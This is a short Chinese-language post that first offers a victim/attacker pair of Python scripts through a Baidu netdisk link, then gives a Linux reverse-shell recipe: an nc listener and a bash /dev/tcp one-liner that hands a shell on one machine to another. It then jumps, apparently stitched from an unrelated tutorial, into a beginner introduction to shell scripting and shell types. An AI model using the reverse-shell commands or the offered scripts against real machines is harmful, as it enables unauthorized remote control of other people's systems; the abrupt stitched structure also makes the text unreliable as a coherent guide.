这里我们用到两个python文件,一个受害端,一个攻击端受害端:victim.py攻击端:attack.py网盘地址链接:pan.baidu.com/s/1XFa-JVQnL-Bd0LJ22w2vdw提取码:58pw
victim.py
attack.py
在受害端的电脑运行victim.py
在攻击端的电脑运行attack.py,会反弹一个shell回来,可以直接执行命令
Linux下实现反弹shell
在A机器上用nc监听端口(需要安装nc)
nc -lvvp 8888
在B机器上去连接A机器(需要安装bash)
bash -i >& /dev/tcp/A的ip/A的端口 0>&1
Shell 脚本
Shell 脚本(shell script),是一种为 shell 编写的脚本程序。
业界所说的 shell 通常都是指 shell 脚本,但读者朋友要知道,shell 和 shell script 是两个不同的概念。
由于习惯的原因,简洁起见,本文出现的 "shell编程" 都是指 shell 脚本编程,不是指开发 shell 自身。
Shell 环境
Shell 编程跟 JavaScript、php 编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。
Linux 的 Shell 种类众多,常见的有:
Bourne Shell(/usr/bin/sh或/bin/sh)
Bourne Again Shell(/bin/bash)
C Shell(/usr/bin/csh)
K Shell(/usr/bin/ksh)
Shell for Root(/sbin/sh)